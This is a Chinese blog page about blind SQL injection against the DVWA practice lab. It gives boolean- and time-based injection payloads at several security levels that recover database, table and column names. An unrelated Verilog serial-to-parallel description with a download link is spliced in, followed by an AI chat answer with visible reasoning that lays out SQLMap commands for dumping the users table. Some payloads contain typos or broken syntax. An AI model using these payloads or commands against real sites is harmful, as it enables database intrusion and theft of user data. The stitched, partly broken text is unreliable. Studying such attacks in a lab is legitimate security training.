【渗透测试】SQL Injection(Blind)

本文详细介绍SQL盲注的概念、分类及手工盲注的具体步骤,包括基于布尔的盲注、基于时间的盲注等,并提供不同安全级别下的盲注案例。

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

=============================================================

·手工盲注的思路

手工盲注的过程,就像与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得想要的数据。

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注。

·手工盲注的步骤:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

==============================================================

【基于布尔的盲注】

·Low级别:Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有提示而没有具体数据。

①判断是否存在注入,字符型还是数字型

1 ==>成功,存在

1' and 1=1# ==>成功,存在

1' and 1=2# ==>成功,不存在

说明存在字符型注入。

②猜解数据库名

首先猜数据库名字的长度:

1' and length(database())=1#

1' and length(database())=2#

……

最后数字是几的适合显示 成功存在 则数据库名就是多长。

知道了数据库名的长度,就可以用二分法来猜解数据库的名字了:

1' and ascii(substr(databse(),1,1))>97 #  ==>成功,存在。说明数据库名的第一个字母的ascii码大于97。

1' and ascii(substr(databse(),1,1))<122 #  ==>成功,存在。说明数据库名的第一个字母的ascii码小于122。

……

重复以上步骤,就可以得出数据库名了。

这里需要知道的一点就是数字、字母、下划线分别的ascii码的值的取值和取值范围。

下划线------95

数字0~9-------48~57

字母a~z-------97~122

③猜解表名

首先猜解表的数量:

1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 #

1' and (select count (table_name) from information_schema.tables where table_schema=database())=2 #

……

接着采用二分法挨个猜解表名。

猜解表名长度:

 

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #

……

猜解表名:

 

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 #

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 #

……

重复以上步骤即可猜出表名…

④猜解表中的字段名

首先还是先猜数量,表中的字段的数量:

 

1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #

1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 #

……

然后猜表名的长度:

 

1' and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #

1' and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 #

……

最后重复使用二分法猜表名。

⑤猜解数据:

同样重复使用二分法!!

·Medium级别:利用相关函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时也有可能在前端页面设置下拉选择表单,希望以此来控制用户的输入。

我们同样可以与一般的注入一样抓包改参数进行注入。大致与Low级别的一样,这里简单写一点:

 

抓包改参数id为1 and length(database())=4 #  ==>显示存在,说明数据库名的长度为4个字符;

抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #  ==>显示存在,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #  ==>(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

·High级别:利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时也可能在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了限制条件(例如LIMIT 1),但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响。所以选择采用基于布尔的盲注。

 

抓包将cookie中参数id改为1' and length(database())=4 #  ==>显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1' and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #  ==>显示存在,说明数据中的第一个表名长度为9个字符;

抓包将cookie中参数id改为1' and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #  ==>(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

·Impossible级别:采用了PDO等技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入可以进一步提高安全性。

===============================================================

【基于时间的盲注】

由于High级别与Impossible级别均难以进行基于时间的盲注,所以这里就只记录Low级别和Medium级别的盲注。

·Low级别:

①判断是否存在注入,注入是字符型还是数字型

 

1' and sleep(5) #  ==>感觉到明显延迟

1 and sleep(5) #  ==>没有延迟

说明存在字符型的基于时间的盲注。

②猜解数据库名

首先猜解数据库名的长度:

 

1' and if(length(database())=3,sleep(5),1) #   ==>没有延迟

1' and if(length(database())=4,sleep(5),1) #   ==>明显延迟

说明数据库名长度为4。

接着采用二分法猜解数据库的名称:

 

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#  ==>明显延迟

1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)#  ==>没有延迟

1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)#  ==>没有延迟

说明数据库名的第一个字符为小写字母d。

……

重复以上步骤即可猜出数据库的名称。

③猜解数据库的表名

首先猜数量:

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#

然后猜数据库的表名的长度:

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #

最后重复使用二分法猜数据库的表的名称:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),sleep(5),1))<103 #

④猜解表中的字段名

首先猜解字段的数量:

1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)#

然后猜字段名的长度:

1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) #

最后再次重复使用二分法猜字段名。

⑤猜解数据。

同样重复使用二分法。

·Medium级别:

与基于布尔型的盲注类似,略有差别,也简单记录一下即可:

 

抓包改参数id为1 and if(length(database())=4,sleep(5),1) #  ==>明显延迟,说明数据库名的长度为4个字符;

抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #  ==>明显延迟,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #  ==>明显延迟,说明uers表有8个字段。

下载前必看:https://renmaiwang.cn/s/bvbfw Verilog设计_串并转换 / 移位寄存器实现了一种串并转换的功能,其核心原理在于移位寄存器的运用。 这里详细展示了串转并以及并转串两种不同的设计方案。 每一种转换模式都设有专属的使能信号,同时并行输出数据的格式提供了两种选择:最低有效位优先(lsb)和最高有效位优先(msb)。 串并转换技术主要应用于串行传输与并行传输这两种数据传输模式之间的相互转换,而移位寄存器是达成这一目标的常用工具,能够支持并行及串行的数据输入与输出操作。 这些移位寄存器通常被设定为“串行输入、并行输出”(SIPO)或“并行输入、串行输出”(PISO)两种工作模式。 在串行数据输出的过程中,构成数据和字符的码元会按照既定的时间顺序逐位进行传输。 相比之下,并行数据传输则是在同一时刻将固定数量(普遍为8位或16位等)的数据和字符码元同时发送至接收端。 数据输入通常采用串行格式进行。 一旦数据成功输入寄存器,它便可以在所有输出端同时被读取,或者选择逐位移出。 寄存器中的每个触发器均设计为边沿触发类型,并且所有触发器均以特定的时钟频率协同工作。 对于每一个输入位而言,它需要经过N个时钟周期才能最终在N个输出端呈现,从而完成并行输出。 值得注意的是,在串行加载数据期间,并行输出端的数据状态应保持稳定。 数据输入则采用并行格式。 在将数据写入寄存器的操作过程中,写/移位控制线必须暂时处于非工作状态;而一旦需要执行移位操作,控制线便会变为激活状态,并且寄存器会被锁定以保持当前状态。 只要时钟周期数不超过输入数据串的长度,数据输出端Q将按照预定的顺序逐位读出并行数据,并且必须明确区分最低有效位(LSB)和最高有效位(MSB)。
<think>好的,我现在需要回答用户关于如何使用SQLMap工具执行盲注攻击的问题。首先,我需要回顾用户提供的引用内容,确保回答准确并符合引用要求。 用户提到了四个引用,其中引用[1]提到在DVWA环境中使用SQLMap进行布尔盲注时,可以使用--technique参数指定B。引用[2]给出了获取列名的具体命令示例,引用[3]展示了如何判断字段数的SQL语句,而引用[4]是法律声明,需要注意在回答中强调合法性。 接下来,我需要组织回答的结构。用户要求分步骤说明教程和参数配置,所以应该先介绍盲注的基本概念,然后分步骤讲解配置参数、使用示例,以及可能的高级参数。同时,需要引用相关的引用内容,并在适当的位置添加引用标识。 首先,定义盲注,说明布尔盲注和时间盲注的区别。然后,介绍SQLMap的基本命令结构,特别是如何指定注入技术(--technique B或T),这里引用引用[1]的信息。 接着,分步骤说明配置参数。例如,步骤1是目标识别,包括URL和cookie;步骤2是指定注入技术,引用[1]的例子;步骤3是获取数据库信息,如数据库名、表名、列名,这里可以引用引用[2]的命令;步骤4是数据提取,可能涉及--dump参数。 然后,给出一个具体的示例,结合用户提供的引用[2]中的命令,展示如何获取列名。同时,需要提到手动验证字段数的步骤,引用引用[3]中的SQL语句,但可能不需要详细展开,因为用户问的是SQLMap的使用。 最后,讨论高级参数,如设置延迟时间、风险级别等,并提醒用户注意法律问题,引用引用[4]的内容。 需要确保所有行内数学公式(如果有的话)使用$...$,独立公式用$$...$$,但这个问题中可能用不到数学公式。使用中文回答,结构清晰,步骤明确,并在适当位置添加引用标识,例如在提到--technique参数时引用[^1],在示例命令中引用[^2]。 同时,用户要求生成相关问题,我需要根据回答内容提出三个相关问题,可能涉及盲注与其他注入的区别、优化方法以及防御措施。 最后,检查是否符合所有系统级指令,特别是引用标识的正确添加和格式要求。确保回答真实可靠,并强调法律声明,避免鼓励非法行为。</think>### SQLMap盲注攻击使用教程 #### 一、盲注原理与分类 盲注(Blind SQL Injection)是在无直接数据回显时,通过逻辑判断或时间延迟获取数据的注入方式,分为两类: 1. **布尔盲注**:通过页面返回的布尔值(真/假)差异推断数据,例如使用`AND 1=1`或`AND 1=2`[^3] 2. **时间盲注**:通过条件触发的延时响应(如`SLEEP(5)`)判断逻辑真假 --- #### 二、SQLMap盲注核心参数配置 1. **基本命令格式** ```bash sqlmap -u "<目标URL>" --cookie="<会话Cookie>" --technique=<注入技术> [其他参数] ``` 2. **关键参数说明** | 参数 | 作用 | 示例 | |------|------|------| | `--technique` | 指定注入技术 | `B`(布尔盲注)、`T`(时间盲注) | | `--batch` | 自动确认操作 | 避免交互式提示 | | `--dbms` | 指定数据库类型 | `--dbms=mysql` | | `--level` | 测试等级(1-5) | `--level=3`(更全面的测试) | | `--risk` | 风险等级(1-3) | `--risk=2`(允许写入操作) | | `--time-sec` | 时间盲注延迟秒数 | `--time-sec=5` | --- #### 三、实战操作步骤 1. **目标识别** ```bash sqlmap -u "http://目标URL?id=1" --cookie="PHPSESSID=xxx; security=low" --batch ``` 2. **指定盲注技术** ```bash # 布尔盲注 sqlmap -u <URL> --technique=B # 时间盲注 sqlmap -u <URL> --technique=T --time-sec=3 ``` 3. **获取数据库信息** ```bash # 爆破数据库名 sqlmap -u <URL> --dbs # 爆破表名(指定数据库dvwa) sqlmap -u <URL> -D dvwa --tables # 爆破列名(指定表users) sqlmap -u <URL> -D dvwa -T users --columns [^2] ``` 4. **数据提取** ```bash # 导出指定表数据 sqlmap -u <URL> -D dvwa -T users --dump ``` --- #### 四、高级配置示例 ```bash # 组合参数示例(时间盲注+高风险模式) sqlmap -u "http://192.168.0.103:8080/vulnerabilities/sqli_blind/?id=1" \ --cookie="PHPSESSID=xxx; security=low" \ --technique=T \ --time-sec=5 \ --risk=3 \ --level=5 \ --batch ``` --- #### 五、注意事项 1. **合法性声明**:技术研究需在授权环境下进行,禁止用于非法渗透[^4] 2. **防御建议**:使用参数化查询、输入过滤等措施防范盲注攻击 3. **性能影响**:盲注检测耗时较长,建议设置`--threads`参数控制并发
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值